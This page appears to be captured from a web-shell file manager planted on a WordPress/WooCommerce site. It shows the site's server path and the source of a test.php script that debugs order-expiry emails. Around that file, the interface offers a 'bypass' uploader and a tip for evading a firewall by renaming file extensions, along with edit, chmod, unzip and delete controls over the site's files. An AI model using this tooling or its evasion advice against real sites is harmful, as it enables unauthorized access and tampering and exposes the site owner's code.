Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
antons.wpress.dk
httpdocs
File Content:
test.php
<?php include('wp-config.php'); add_action('woocommerce_process_shop_order_meta', 'hck_test_delivery_date', 10, 3); function hck_test_delivery_date($process_shop_order, $int1, $int2 = '') { $order = wc_update_order(array('order_id' => $process_shop_order)); $testing_del_date = get_field('change_delivery_date', $process_shop_order); $address = $order->get_address(); if ($testing_del_date) { $address['myfield13'] = $testing_del_date; } if (!empty($address)) { $order->set_address($address, 'shipping'); $order->set_address($address); } $order = wc_update_order(array('order_id' => $process_shop_order)); } $saved_orders = get_posts( array( 'numberposts' => -1, 'post_type' => wc_get_order_types(), 'post_status' => 'wc-pending', 'p' => 3807 ) ); foreach ($saved_orders as $saved_order) { try { $order = new WC_Order($saved_order->ID); $edit_link = get_post_meta($order->id, 'order_update_link', true); $ule_notified_admin = get_post_meta($saved_order->ID, 'update_link_expiry_notified_admin', true); if (!$edit_link) return; $myfield13 = explode(' ', $order->billing_myfield13); $delivery_date = $myfield13[0]; $expiry_date = date("d/m/Y", strtotime(str_replace("/", "-", $delivery_date) . ' -5 days')); $expiry_timestamp = date("dmY", strtotime(str_replace("/", "-", $delivery_date) . ' -5 days')); print_r($expiry_date); // Edit link expiry notification(7 days before) 7 days before delivery, 2 days before expiry $ule_notified = get_post_meta($saved_order->ID, 'update_link_expiry_5days_notified', true); if (!$ule_notified) { echo "7 days" . '<br>'; $delivery_timestamp = date("dmY", strtotime(str_replace("/", "-", $delivery_date) . ' -7 days')); $current_date = date("dmY", strtotime("now")); echo '<br>' . $current_date; echo '<br>' . $delivery_timestamp; /*if ($current_date == $delivery_timestamp) { $mailer = WC()->mailer(); // Create new WC_Email instance $mails = $mailer->get_emails(); $mail = $mails['WC_Order_Edit_Expiry_Email']; $mail->trigger($saved_order->ID, $expiry_date, "2 dage til frist om redigering", 7); $note = __("Edit link expiry notification (7 days before delivery/2days before link expiry) is sent to customer"); $order->add_order_note($note); //update_post_meta($saved_order->ID, 'update_link_expiry_5days_notified', 1); }*/ } // Edit link expiry notification (5 days before) $ule5b_notified = get_post_meta($saved_order->ID, 'update_link_expiry_notified', true); if (!$ule5b_notified) { echo '<br>' . "5 days" . '<br>'; // $current_date_5days = date('dmY', strtotime('+5 days')); //+10 days before delivery, 5 days before link expiry // if ($current_date_5days == $expiry_timestamp) { $delivery_timestamp = date("dmY", strtotime(str_replace("/", "-", $delivery_date) . ' -5 days')); $current_date = date("dmY", strtotime("now")); echo '<br>' . $current_date; echo '<br>' . $delivery_timestamp; /*if ($current_date == $delivery_timestamp) { $mailer = WC()->mailer(); // Create new WC_Email instance $mails = $mailer->get_emails(); $mail = $mails['WC_Order_Edit_Expiry_Email']; $mail->trigger($saved_order->ID, $expiry_date, "Sidste frist for redigering", 5); $note = __("Edit link expiry notification (5 days before delivery/on link expiry day) is sent to customer"); $order->add_order_note($note); update_post_meta($saved_order->ID, 'update_link_expiry_notified', 1); }*/ } // Payment notification (1 day before) - if not already paid $pbd_notified = get_post_meta($saved_order->ID, 'payment_before_delivery_notified', true); if (!$pbd_notified) { echo '<br>' . "1 days" . '<br>'; $payment_daybefore = date("dmY", strtotime(str_replace("/", "-", $delivery_date) . ' -1 days')); $current_date_1day = date("dmY", strtotime("now")); echo '<br>' . $current_date; echo '<br>' . $delivery_timestamp; /*if ($payment_daybefore == $current_date_1day) { $mailer = WC()->mailer(); // Create new WC_Email instance $mails = $mailer->get_emails(); $mail = $mails['WC_Order_Edit_Expiry_Email']; $mail->trigger($saved_order->ID, $delivery_date, "Husk at betale din ordre", 1); $note = __("Payment notification (1 day before delivery) is sent to customer"); $order->add_order_note($note); //update_post_meta($saved_order->ID, 'payment_before_delivery_notified', 1); }*/ } // /*/*/* Admin notification /*$current_admin_date = date('dmY', strtotime('-1 days')); if ($current_admin_date == $expiry_timestamp && !$ule_notified_admin) { // day after link expired $mailer = WC()->mailer(); // Create new WC_Email instance //$mails = $mailer->get_emails(); //$mail = $mails['WC_Order_Edit_Expiry_Email_Admin']; $mail->trigger($saved_order->ID, $expiry_date);*/ //update_post_meta($saved_order->ID, 'update_link_expiry_notified_admin', 1); //}*/*/*/ } catch (Exception $e) { echo '<br>error<br>'; print_r($e); } }
Edit
Download
Unzip
Chmod
Delete